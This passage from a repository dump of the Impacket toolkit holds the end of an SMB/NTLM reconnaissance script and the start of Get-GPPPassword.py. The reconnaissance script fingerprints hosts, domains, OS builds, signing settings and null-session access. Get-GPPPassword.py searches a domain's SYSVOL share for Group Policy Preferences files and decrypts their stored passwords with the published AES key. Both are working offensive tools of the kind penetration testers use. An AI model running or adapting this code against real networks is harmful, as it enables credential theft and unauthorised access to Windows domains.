negoPacket['Uid'] = self._uid\r\n        negoPacket['Pid'] = (os.getpid() & 0xFFFF)\r\n        negoPacket['Flags1'] |= self.__flags1\r\n        negoPacket['Flags2'] |= self.__flags2\r\n        self._session.send_packet(negoPacket.getData())\r\n\r\n    def receive(self):\r\n        r = self._session.recv_packet(self.__timeout)\r\n        return NewSMBPacket(data = r.get_trailer())\r\n\r\n    def _negotiateSession(self, negPacket = None):\r\n        def parsePacket(negoPacket):\r\n            if negoPacket['Flags2'] & SMB.FLAGS2_UNICODE:\r\n                self.__flags2 |= SMB.FLAGS2_UNICODE\r\n\r\n            if negoPacket.isValidAnswer(SMB.SMB_COM_NEGOTIATE):\r\n                sessionResponse = SMBCommand(negoPacket['Data'][0])\r\n                self._dialects_parameters = SMBNTLMDialect_Parameters(sessionResponse['Parameters'])\r\n                self._dialects_data = SMBNTLMDialect_Data()\r\n                self._dialects_data['ChallengeLength'] = self._dialects_parameters['ChallengeLength']\r\n                self._dialects_data.fromString(sessionResponse['Data'])\r\n                if self._dialects_parameters['Capabilities'] & SMB.CAP_EXTENDED_SECURITY:\r\n                    self._dialects_parameters = SMBExtended_Security_Parameters(sessionResponse['Parameters'])\r\n                    self._dialects_data = SMBExtended_Security_Data(sessionResponse['Data'])\r\n                    if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_REQUIRED:\r\n                        self._SignatureRequired = True\r\n                else:\r\n                    if self._dialects_parameters['DialectIndex'] == 0xffff:\r\n                        raise UnsupportedFeature(\"Remote server does not know NT LM 0.12\")\r\n\r\n                return self._wrapper(sessionResponse)\r\n\r\n        if negPacket is None:\r\n            negoPacket = NewSMBPacket()\r\n            negSession = SMBCommand(SMB.SMB_COM_NEGOTIATE)\r\n            self.__flags2 = self.__flags2 | SMB.FLAGS2_EXTENDED_SECURITY\r\n\r\n            negSession['Data'] = b'\\x02NT LM 0.12\\x00'\r\n            negoPacket.addCommand(negSession)\r\n            self.send(negoPacket)\r\n\r\n            negoPacket = self.receive()\r\n            return parsePacket(negoPacket)\r\n\r\n        return parsePacket(NewSMBPacket(data = negPacket))\r\n\r\n    def _createSessionSetupRequest(self):\r\n        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)\r\n        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()\r\n        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()\r\n        sessionSetup['Parameters']['MaxBufferSize'] = 61440\r\n        sessionSetup['Parameters']['MaxMpxCount'] = 2\r\n        sessionSetup['Parameters']['VcNumber'] = 1\r\n        sessionSetup['Parameters']['SessionKey'] = 0\r\n        sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE | SMB.CAP_LARGE_READX | SMB.CAP_LARGE_WRITEX\r\n\r\n        blob = SPNEGO_NegTokenInit()\r\n        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\r\n        self._auth = ntlm.getNTLMSSPType1(self._my_name, '', self._SignatureRequired, use_ntlmv2=True)\r\n        blob['MechToken'] = self._auth.getData()\r\n\r\n        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)\r\n        sessionSetup['Parameters'].getData()\r\n        sessionSetup['Data']['SecurityBlob'] = blob.getData()\r\n        sessionSetup['Data']['NativeOS']      = 'U\\x00n\\x00i\\x00x\\x00\\x00\\x00'\r\n        sessionSetup['Data']['NativeLanMan']  = 'S\\x00a\\x00m\\x00b\\x00a\\x00\\x00'\r\n\r\n        return sessionSetup\r\n\r\n    def _wrapper(self, sessionResponse):\r\n        sessionResponse['SecurityMode'] = 0x0\r\n        sessionResponse['DialectRevision'] = SMB_DIALECT\r\n        if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_ENABLED:\r\n            sessionResponse['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED\r\n            if self._SignatureRequired:\r\n                sessionResponse['SecurityMode'] |= SMB2_NEGOTIATE_SIGNING_REQUIRED\r\n        sessionResponse['MaxReadSize'] = self._dialects_parameters['MaxBufferSize']\r\n        sessionResponse['MaxWriteSize'] = self._dialects_parameters['MaxBufferSize']\r\n        sessionResponse['SystemTime'] = self._to_long_filetime(self._dialects_parameters['LowDateTime'], self._dialects_parameters['HighDateTime'])\r\n        sessionResponse['ServerStartTime'] = 0 # SMB1 has not boot time totally\r\n        return sessionResponse\r\n\r\n    def _to_long_filetime(self, dwLowDateTime, dwHighDateTime):\r\n        temp_time = dwHighDateTime\r\n        temp_time <<= 32\r\n        temp_time |= dwLowDateTime\r\n        return temp_time\r\n\r\n\r\nclass SMB3:\r\n    def __init__(self, remote_name, remote_host, my_name=None, \r\n                    sess_port=445, timeout=60, session=None, negSessionResponse=None):\r\n        self._NetBIOSSession = session\r\n        self._sequenceWindow = 0\r\n        self._sessionId = 0\r\n        self._timeout = timeout\r\n        self._auth = None\r\n\r\n        if session is None:\r\n            self._NetBIOSSession = nmb.NetBIOSTCPSession(my_name, remote_name, remote_host, nmb.TYPE_SERVER, sess_port, timeout)\r\n        else:\r\n            self._sequenceWindow += 1\r\n\r\n        self._negotiateResponse = self._negotiateSession(negSessionResponse)\r\n\r\n    def GetNegotiateResponse(self):\r\n        return self._negotiateResponse\r\n\r\n    def GetChallange(self):\r\n        packet = self._createSessionSetupRequest(self._negotiateResponse['DialectRevision'])\r\n\r\n        self.send(packet)\r\n        self._answer = self.receive()\r\n\r\n        sessionSetupResponse = SMB2SessionSetup_Response(self._answer['Data'])\r\n        self._respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])\r\n        ntlmChallenge = ntlm.NTLMAuthChallenge(self._respToken['ResponseToken'])\r\n\r\n        return ntlmChallenge\r\n\r\n    def Authenticate(self):\r\n        packet = SMB2Packet()\r\n        if self.GetNegotiateResponse()['DialectRevision'] >= SMB2_DIALECT_30:\r\n            packet = SMB3Packet()\r\n        packet['Command'] = SMB2_SESSION_SETUP\r\n\r\n        if self._answer.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):\r\n            self._sessionId = self._answer['SessionID']\r\n            type3, _ = ntlm.getNTLMSSPType3(self._auth, self._respToken['ResponseToken'], '', '', '', '', '')\r\n\r\n            respToken2 = SPNEGO_NegTokenResp()\r\n            respToken2['ResponseToken'] = type3.getData()\r\n\r\n            sessionSetup = SMB2SessionSetup()\r\n            sessionSetup['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED\r\n            sessionSetup['SecurityBufferLength'] = len(respToken2)\r\n            sessionSetup['Buffer'] = respToken2.getData()\r\n            packet['Data'] = sessionSetup\r\n\r\n            self.send(packet)\r\n            packet = self.receive()\r\n\r\n            try:\r\n                return packet.isValidAnswer(STATUS_SUCCESS)\r\n            except:\r\n                return False\r\n\r\n    def send(self, packet):\r\n        packet['MessageID'] = self._sequenceWindow\r\n        self._sequenceWindow += 1\r\n\r\n        packet['SessionID'] = self._sessionId\r\n        packet['CreditCharge'] = 1\r\n        messageId = packet['MessageID']\r\n        data = packet.getData()\r\n        self._NetBIOSSession.send_packet(data)\r\n\r\n        return messageId\r\n\r\n    def receive(self):\r\n        data = self._NetBIOSSession.recv_packet(self._timeout)\r\n        packet = SMB2Packet(data.get_trailer())\r\n        return packet\r\n\r\n    def _negotiateSession(self, negSessionResponse = None):\r\n        currentDialect = SMB2_DIALECT_WILDCARD\r\n        if negSessionResponse is not None:\r\n            negotiateResponse = SMB2Negotiate_Response(negSessionResponse['Data'])\r\n            currentDialect = negotiateResponse['DialectRevision']\r\n\r\n        if currentDialect == SMB2_DIALECT_WILDCARD:\r\n            packet = SMB2Packet()\r\n            packet['Command'] = SMB2_NEGOTIATE\r\n            negSession = SMB2Negotiate()\r\n            negSession['SecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED\r\n            negSession['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION\r\n            negSession['ClientGuid'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])\r\n            negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]\r\n            negSession['DialectCount'] = len(negSession['Dialects'])\r\n            packet['Data'] = negSession\r\n\r\n            self.send(packet)\r\n            answer = self.receive()\r\n            if answer.isValidAnswer(STATUS_SUCCESS):\r\n                negotiateResponse = SMB2Negotiate_Response(answer['Data'])\r\n\r\n        return negotiateResponse\r\n\r\n    def _createSessionSetupRequest(self, dialect):\r\n        sessionSetup = SMB2SessionSetup()\r\n        sessionSetup['Flags'] = 0\r\n\r\n        blob = SPNEGO_NegTokenInit()\r\n        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\r\n\r\n        self._auth = ntlm.getNTLMSSPType1('', '', False)\r\n        blob['MechToken'] = self._auth.getData()\r\n\r\n        sessionSetup['SecurityBufferLength'] = len(blob)\r\n        sessionSetup['Buffer']               = blob.getData()\r\n\r\n        packet = SMB2Packet()\r\n        if dialect >= SMB2_DIALECT_30:\r\n            packet = SMB3Packet()\r\n        packet['Command'] = SMB2_SESSION_SETUP\r\n        packet['Data']    = sessionSetup\r\n\r\n        return packet\r\n\r\n\r\nclass SmbConnection:\r\n    def __init__(self, ip, hostname, port) -> None:\r\n        self.target      = ip\r\n        self.hostname    = hostname\r\n        self._sess_port  = int(port)\r\n        self._timeout    = 60\r\n        self._myName     = self._get_my_name()\r\n        self._nmbSession = None\r\n        self._SMBConnection = None\r\n\r\n    def IsSmb1Enabled(self):\r\n        flags1 = SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS\r\n        flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES\r\n        smbv1NegoData = '\\x02NT LM 0.12\\x00'\r\n        smb1_enabled = False\r\n        try:\r\n            self._negotiateSessionWildcard(True, flags1=flags1, flags2=flags2, data=smbv1NegoData)\r\n        except Exception as e:\r\n            if 'No answer!' in str(e):\r\n                smb1_enabled = False\r\n        else:\r\n            smb1_enabled = True\r\n        return smb1_enabled\r\n\r\n    def NegotiateSession(self):\r\n        flags1 = SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS\r\n        flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES\r\n\r\n        negoData = '\\x02NT LM 0.12\\x00\\x02SMB 2.002\\x00\\x02SMB 2.???\\x00'\r\n        if self._sess_port == nmb.NETBIOS_SESSION_PORT:\r\n            negoData = '\\x02NT LM 0.12\\x00\\x02SMB 2.002\\x00'\r\n\r\n        packet = self._negotiateSessionWildcard(True, flags1=flags1, flags2=flags2, data=negoData)\r\n\r\n        if packet[0:1] == b'\\xfe':\r\n            self._SMBConnection = SMB3(self.hostname, self.target, self._myName, self._sess_port, \r\n                                        self._timeout, session=self._nmbSession, negSessionResponse=SMB2Packet(packet))\r\n        else:\r\n            self._SMBConnection = SMB1(self.hostname, self.target, self._myName, self._sess_port, \r\n                                        self._timeout, session=self._nmbSession, negSessionResponse=packet)\r\n        return self._SMBConnection.GetNegotiateResponse()\r\n\r\n    def GetChallange(self):\r\n        return self._SMBConnection.GetChallange()\r\n\r\n    def Authenticate(self):\r\n        return self._SMBConnection.Authenticate()\r\n\r\n    def _negotiateSessionWildcard(self, extended_security=True, flags1=0, flags2=0, data=None):\r\n        tries = 0\r\n        smbp = NewSMBPacket()\r\n        smbp['Flags1'] = flags1\r\n        smbp['Flags2'] = flags2 | SMB.FLAGS2_UNICODE\r\n        response = None\r\n        while tries < 2:\r\n            self._nmbSession = nmb.NetBIOSTCPSession(self._myName, self.hostname, self.target, nmb.TYPE_SERVER, self._sess_port, self._timeout)\r\n            negSession = SMBCommand(SMB.SMB_COM_NEGOTIATE)\r\n            if extended_security is True:\r\n                smbp['Flags2'] |= SMB.FLAGS2_EXTENDED_SECURITY\r\n            negSession['Data'] = data\r\n            smbp.addCommand(negSession)\r\n            self._nmbSession.send_packet(smbp.getData())\r\n\r\n            try:\r\n                response = self._nmbSession.recv_packet(self._timeout)\r\n                break\r\n            except nmb.NetBIOSError:\r\n                smbp['Flags2'] |= SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES | SMB.FLAGS2_UNICODE\r\n                smbp['Data'] = []\r\n\r\n            tries += 1\r\n\r\n        if response is None:\r\n            raise Exception('No answer!')\r\n\r\n        return response.get_trailer()\r\n\r\n    def _get_my_name(self):\r\n        myName = socket.gethostname()\r\n        i = myName.find('.')\r\n        if i > -1:\r\n            myName = myName[:i]\r\n        return myName\r\n\r\n\r\nclass DumpNtlm:\r\n    def __init__(self, ip, hostname, port, protocol) -> None:\r\n        self.target     = ip\r\n        self.hostname   = hostname\r\n        self._sess_port = int(port)\r\n        self._protocol  = protocol\r\n        self._timeout   = 60\r\n\r\n    def DisplayInfo(self):\r\n        if self._protocol == 'SMB':\r\n            self.DisplaySmbInfo()\r\n        elif self._protocol == 'RPC':\r\n            self.DisplayRpcInfo()\r\n\r\n    def DisplayRpcInfo(self):\r\n        rpc = RPC(self.target)\r\n\r\n        ntlmChallenge = rpc.GetChallange()\r\n        self.DisplayChallangeInfo(ntlmChallenge)\r\n\r\n        self.DisplayIo({'MaxReadSize': rpc.MaxTrasmitionSize, 'MaxWriteSize': rpc.MaxTrasmitionSize})\r\n\r\n    def DisplaySmbInfo(self):\r\n        connection = SmbConnection(self.target, self.hostname, self._sess_port)\r\n\r\n        negotiation = connection.NegotiateSession()\r\n        dialect = negotiation['DialectRevision']\r\n        secMode = negotiation['SecurityMode']\r\n\r\n        smb1_enabled = connection.IsSmb1Enabled()\r\n\r\n        self.DisplayDialect(dialect, smb1_enabled)\r\n        self.DisplaySigning(secMode)\r\n        self.DisplayIo(negotiation)\r\n        self.DisplayTime(negotiation)\r\n\r\n        ntlmChallenge = connection.GetChallange()\r\n        self.DisplayChallangeInfo(ntlmChallenge)\r\n\r\n        nullSession = connection.Authenticate()\r\n        self.DisplayNullSession(nullSession)\r\n\r\n\r\n    def DisplaySigning(self, secMode):\r\n        mode = ''\r\n        if (secMode & SMB2_NEGOTIATE_SIGNING_ENABLED) == SMB2_NEGOTIATE_SIGNING_ENABLED:\r\n            mode = 'SIGNING_ENABLED'\r\n        if (secMode & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:\r\n            mode += ' | SIGNING_REQUIRED'\r\n        else:\r\n            mode += ' (not required)'\r\n        print(\"[+] Server Security : {}\".format(mode))\r\n\r\n\r\n    def DisplayDialect(self, dialect, smb1_enabled):\r\n        print(\"[+] SMBv1 Enabled   : {0}\".format(smb1_enabled))\r\n        if dialect == SMB2_DIALECT_002:\r\n            print(\"[+] Prefered Dialect: SMB 002\")\r\n        elif dialect == SMB2_DIALECT_21:\r\n            print(\"[+] Prefered Dialect: SMB 2.1\")\r\n        elif dialect == SMB2_DIALECT_30:\r\n            print(\"[+] Prefered Dialect: SMB 3.0\")\r\n        elif dialect == SMB2_DIALECT_302:\r\n            print(\"[+] Prefered Dialect: SMB 3.0.2\")\r\n        elif dialect == SMB2_DIALECT_302:\r\n            print(\"[+] Prefered Dialect: SMB 3.0.2\")\r\n        elif dialect == SMB2_DIALECT_311:\r\n            print(\"[+] Prefered Dialect: SMB 3.1.1\")\r\n        elif type(dialect) is str:\r\n            print(\"[+] Prefered Dialect: {}\".format(dialect)) # SMB1\r\n        else:\r\n            print(\"[+] Prefered Dialect: 0x{:x}\".format(dialect))\r\n\r\n\r\n    def DisplayIo(self, negotiateResponse):\r\n        print(\"[+] Max Read Size   : {} ({} bytes)\".format(self.__convert_size(negotiateResponse['MaxReadSize']), negotiateResponse['MaxReadSize']))\r\n        print(\"[+] Max Write Size  : {} ({} bytes)\".format(self.__convert_size(negotiateResponse['MaxWriteSize']), negotiateResponse['MaxWriteSize']))\r\n\r\n\r\n    def DisplayTime(self, negotiateResponse):\r\n        currentTime = 0 if negotiateResponse['SystemTime'] == 0 else self.__filetime_to_dt(negotiateResponse['SystemTime']).astimezone(timezone.utc)\r\n        bootTime    = 0 if negotiateResponse['ServerStartTime'] == 0 else self.__filetime_to_dt(negotiateResponse['ServerStartTime']).astimezone(timezone.utc)\r\n        print(\"[+] Current Time    : {}\".format(currentTime))\r\n        if bootTime != 0:\r\n            print(\"[+] Boot Time       : {}\".format(bootTime))\r\n            print(\"[+] Server Up Time  : {}\".format(currentTime - bootTime))\r\n\r\n\r\n    def DisplayChallangeInfo(self, challange):\r\n        if challange['TargetInfoFields_len'] > 0:\r\n            av_pairs = ntlm.AV_PAIRS(challange['TargetInfoFields'][:challange['TargetInfoFields_len']])\r\n            if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:\r\n                try:\r\n                    print(\"[+] Name            : {}\".format(av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')))\r\n                except:\r\n                    pass\r\n            if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:\r\n                try:\r\n                    print(\"[+] Domain          : {}\".format(av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')))\r\n                except:\r\n                    pass\r\n            if av_pairs[ntlm.NTLMSSP_AV_DNS_TREENAME] is not None:\r\n                try:\r\n                    print(\"[+] DNS Tree Name   : {}\".format(av_pairs[ntlm.NTLMSSP_AV_DNS_TREENAME][1].decode('utf-16le')))\r\n                except:\r\n                    pass\r\n            if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:\r\n                try:\r\n                    print(\"[+] DNS Domain Name : {}\".format(av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')))\r\n                except:\r\n                    pass\r\n            if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:\r\n                try:\r\n                    print(\"[+] DNS Host Name   : {}\".format(av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le')))\r\n                except:\r\n                    pass\r\n            # if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None:\r\n            #     try:\r\n            #         timelong = struct.unpack('<q', av_pairs[ntlm.NTLMSSP_AV_TIME][1])[0]\r\n            #         print(\"[+] Time            : {}\".format(self.__filetime_to_dt(timelong).astimezone(timezone.utc)))\r\n            #     except:\r\n            #         pass\r\n            if 'Version' in challange.fields:\r\n                version = challange['Version']\r\n                if len(version) >= 4:\r\n                    print(\"[+] OS              : {}\".format(\"Windows NT %d.%d Build %d\" % (indexbytes(version,0), indexbytes(version,1), struct.unpack('<H',version[2:4])[0])))\r\n\r\n\r\n    def DisplayNullSession(self, nullSession):\r\n        print(\"[+] Null Session    : {}\".format(nullSession))\r\n\r\n    # https://stackoverflow.com/questions/38878647/python-convert-filetime-to-datetime-for-dates-before-1970\r\n    def __filetime_to_dt(self, filetime):\r\n        us = (filetime - EPOCH_AS_FILETIME) // 10\r\n        return datetime(1970, 1, 1) + timedelta(microseconds = us)\r\n\r\n\r\n    # https://stackoverflow.com/questions/5194057/better-way-to-convert-file-sizes-in-python\r\n    def __convert_size(self, size_bytes):\r\n        if size_bytes == 0:\r\n            return \"0B\"\r\n        size_name = (\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\")\r\n        i = int(math.floor(math.log(size_bytes, 1024)))\r\n        p = math.pow(1024, i)\r\n        s = round(size_bytes / p, 2)\r\n        return \"%s %s\" % (s, size_name[i])\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n    print(version.BANNER)\r\n\r\n    parser = argparse.ArgumentParser(add_help = True, description = \"Do ntlm authentication and parse information.\")\r\n    parser.add_argument('target', action='store', help='<targetName or address>')\r\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\r\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\r\n    parser.add_argument('-target-ip', action='store', metavar=\"ip address\",\r\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\r\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\r\n    parser.add_argument('-port', type=int, default=445, metavar=\"destination port\",\r\n                    help='Destination port to connect to SMB/RPC Server')\r\n    parser.add_argument('-protocol', choices=['SMB', 'RPC'], nargs='?', metavar=\"protocol\",\r\n                        help='Protocol to use (SMB or RPC). Default is SMB, port 135 uses RPC normally.')\r\n\r\n    if len(sys.argv) == 1:\r\n        parser.print_help()\r\n        sys.exit(1)\r\n\r\n    options = parser.parse_args()\r\n    logger.init(options.ts, options.debug)\r\n\r\n    if options.port == 135:\r\n        if not options.protocol:\r\n            options.protocol = 'RPC'\r\n            logging.info(\"Port 135 specified; using RPC protocol by default. Use `-protocol SMB` to force SMB protocol.\")\r\n        elif options.protocol == 'SMB':\r\n            logging.info(\"Port 135 specified with SMB protocol. Are you sure you don't want `-protocol RPC`?\")\r\n    elif not options.protocol:\r\n        options.protocol = 'SMB'\r\n        logging.info(\"Defaulting to SMB protocol.\")\r\n\r\n    try:\r\n        if options.target_ip is not None:\r\n            dumper = DumpNtlm(options.target_ip, options.target, int(options.port), options.protocol)\r\n        else:\r\n            dumper = DumpNtlm(options.target, options.target, int(options.port), options.protocol)\r\n        logging.info(\"Using target: %s, IP: %s, Port: %d, Protocol: %s\" % (options.target, options.target_ip or options.target, options.port, options.protocol) )\r\n        dumper.DisplayInfo()\r\n    except Exception as e:\r\n        if logging.getLogger().level == logging.DEBUG:\r\n            import traceback\r\n            traceback.print_exc()\r\n        logging.error(str(e))\r\n"
  },
  {
    "path": "examples/Get-GPPPassword.py",
    "content": "#!/usr/bin/env python3\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Python script for extracting and decrypting Group Policy Preferences passwords,\n#   using Impacket's lib, and using streams for carving files instead of mounting shares\n#   https://podalirius.net/en/articles/exploiting-windows-group-policy-preferences/\n#\n# Authors:\n#   Remi Gascou (@podalirius_)\n#   Charlie Bromberg (@_nwodtuhs)\n#\n\nimport argparse\nimport base64\nimport xml\nimport charset_normalizer\nimport logging\nimport os\nimport re\nimport sys\nimport traceback\nfrom xml.dom import minidom\nimport io\nfrom Cryptodome.Cipher import AES\nfrom Cryptodome.Util.Padding import unpad\nfrom impacket import version\nfrom impacket.examples import logger, utils\nfrom impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError\n\n\nclass GetGPPasswords(object):\n    \"\"\"docstring for GetGPPasswords.\"\"\"\n\n    def __init__(self, smb, share):\n        super(GetGPPasswords, self).__init__()\n        self.smb = smb\n        self.share = share\n\n    def list_shares(self):\n        logging.info(\"Listing shares...\")\n        resp = self.smb.listShares()\n        shares = []\n        for k in range(len(resp)):\n            shares.append(resp[k][\"shi1_netname\"][:-1])\n            print(\"  - %s\" % resp[k][\"shi1_netname\"][:-1])\n        print()\n\n    def find_cpasswords(self, base_dir, extension=\"xml\"):\n        logging.info(\"Searching *.%s files...\" % extension)\n        # Breadth-first search algorithm to recursively find .extension files\n        files = []\n        searchdirs = [base_dir + \"/\"]\n        while len(searchdirs) != 0:\n            next_dirs = []\n            for sdir in searchdirs:\n                logging.debug(\"Searching in %s \" % sdir)\n                try:\n                    for sharedfile in self.smb.listPath(self.share, sdir + \"*\", password=None):\n                        if sharedfile.get_longname() not in [\".\", \"..\"]:\n                            if sharedfile.is_directory():\n                                logging.debug(\"Found directory %s/\" % sharedfile.get_longname())\n                                next_dirs.append(sdir + sharedfile.get_longname() + \"/\")\n                            else:\n                                if sharedfile.get_longname().endswith(\".\" + extension):\n                                    logging.debug(\"Found matching file %s\" % (sdir + sharedfile.get_longname()))\n                                    results = self.parse(sdir + sharedfile.get_longname())\n                                    if len(results) != 0:\n                                        self.show(results)\n                                        files.append({\"filename\": sdir + sharedfile.get_longname(), \"results\": results})\n                                else:\n                                    logging.debug(\"Found file %s\" % sharedfile.get_longname())\n                except SessionError as e:\n                    logging.debug(e)\n            searchdirs = next_dirs\n            logging.debug(\"Next iteration with %d folders.\" % len(next_dirs))\n        return files\n\n    def parse_xmlfile_content(self, filename, filecontent):\n        results = []\n        try:\n            root = minidom.parseString(filecontent)\n            xmltype = root.childNodes[0].tagName\n            # function to get attribute if it exists, returns \"\" if empty\n            read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else \"\")\n\n            # ScheduledTasks\n            if xmltype == \"ScheduledTasks\":\n                for topnode in root.childNodes:\n                    task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]\n                    for task in task_nodes:\n                        for property in task.getElementsByTagName(\"Properties\"):\n                            results.append({\n                                \"tagName\": xmltype,\n                                \"attributes\": [\n                                    (\"name\", read_or_empty(task, \"name\")),\n                                    (\"runAs\", read_or_empty(property, \"runAs\")),\n                                    (\"cpassword\", read_or_empty(property, \"cpassword\")),\n                                    (\"password\", self.decrypt_password(read_or_empty(property, \"cpassword\"))),\n                                    (\"changed\", read_or_empty(property.parentNode, \"changed\")),\n                                ],\n                                \"file\": filename\n                            })\n            elif xmltype == \"Groups\":\n                for topnode in root.childNodes:\n                    task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]\n                    for task in task_nodes:\n                        for property in task.getElementsByTagName(\"Properties\"):\n                            results.append({\n                                \"tagName\": xmltype,\n                                \"attributes\": [\n                                    (\"newName\", read_or_empty(property, \"newName\")),\n                                    (\"userName\", read_or_empty(property, \"userName\")),\n                                    (\"cpassword\", read_or_empty(property, \"cpassword\")),\n                                    (\"password\", self.decrypt_password(read_or_empty(property, \"cpassword\"))),\n                                    (\"changed\", read_or_empty(property.parentNode, \"changed\")),\n                                ],\n                                \"file\": filename\n                            })\n            else:\n                for topnode in root.childNodes:\n                    task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]\n                    for task in task_nodes:\n                        for property in task.getElementsByTagName(\"Properties\"):\n                            results.append({\n                                \"tagName\": xmltype,\n                                \"attributes\": [\n                                    (\"newName\", read_or_empty(property, \"newName\")),\n                                    (\"userName\", read_or_empty(property, \"userName\")),\n                                    (\"cpassword\", read_or_empty(property, \"cpassword\")),\n                                    (\"password\", self.decrypt_password(read_or_empty(property, \"cpassword\"))),\n                                    (\"changed\", read_or_empty(property.parentNode, \"changed\")),\n                                ],\n                                \"file\": filename\n                            })\n\n        except Exception as e:\n            if logging.getLogger().level == logging.DEBUG:\n                traceback.print_exc()\n            logging.debug(str(e))\n        return results\n\n    def parse(self, filename):\n        results = []\n        filename = filename.replace(\"/\", \"\\\\\")\n        fh = io.BytesIO()\n        try:\n            # opening the files in streams instead of mounting shares allows for running the script from\n            # unprivileged containers\n            self.smb.getFile(self.share, filename, fh.write)\n        except SessionError as e:\n            logging.error(e)\n            return results\n        except Exception as e:\n            raise\n        output = fh.getvalue()\n        encoding = charset_normalizer.detect(output)[\"encoding\"]\n        if encoding is not None:\n            filecontent = output.decode(encoding).rstrip()\n            if \"cpassword\" in filecontent:\n                logging.debug(filecontent)\n                results = self.parse_xmlfile_content(filename, filecontent)\n                fh.close()\n            else:\n                logging.debug(\"No cpassword was found in %s\" % filename)\n        else:\n            logging.debug(\"Output cannot be correctly decoded, are you sure the text is readable ?\")\n            fh.close()\n        return results\n\n    def decrypt_password(self, pw_enc_b64):\n        if len(pw_enc_b64) != 0:\n            # Thank you Microsoft for publishing the key :)\n            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be\n            key = b\"\\x4e\\x99\\x06\\xe8\\xfc\\xb6\\x6c\\xc9\\xfa\\xf4\\x93\\x10\\x62\\x0f\\xfe\\xe8\\xf4\\x96\\xe8\\x06\\xcc\\x05\\x79\\x90\\x20\\x9b\\x09\\xa4\\x33\\xb6\\x6c\\x1b\"\n            # Thank you Microsoft for using a fixed IV :)\n            iv = b\"\\x00\" * 16\n            pad = len(pw_enc_b64) % 4\n            if pad == 1:\n                pw_enc_b64 = pw_enc_b64[:-1]\n            elif pad == 2 or pad == 3:\n                pw_enc_b64 += \"=\" * (4 - pad)\n            pw_enc = base64.b64decode(pw_enc_b64)\n            ctx = AES.new(key, AES.MODE_CBC, iv)\n            pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)\n            return pw_dec.decode(\"utf-16-le\")\n        else:\n            logging.debug(\"cpassword is empty, cannot decrypt anything.\")\n            return \"\"\n\n    def show(self, results):\n        for result in results:\n            logging.info(\"Found a %s XML file:\" % result['tagName'])\n            logging.info(\"  %-10s: %s\" % (\"file\", result['file']))\n            for attr, value in result['attributes']:\n                if attr != \"cpassword\":\n                    logging.info(\"  %-10s: %s\" % (attr, value))\n            print()\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(add_help=True, description=\"Group Policy Preferences passwords finder and decryptor.\")\n    parser.add_argument(\"target\", action=\"store\", help=\"[[domain/]username[:password]@]<targetName or address> or LOCAL (if you want to parse local files)\")\n    parser.add_argument(\"-xmlfile\", type=str, required=False, default=None, help=\"Group Policy Preferences XML files to parse\")\n    parser.add_argument(\"-share\", type=str, required=False, default=\"SYSVOL\", help=\"SMB Share\")\n    parser.add_argument(\"-base-dir\", type=str, required=False, default=\"/\", help=\"Directory to search in (Default: /)\")\n    parser.add_argument(\"-ts\", action=\"store_true\", help=\"Adds timestamp to every logging output\")\n    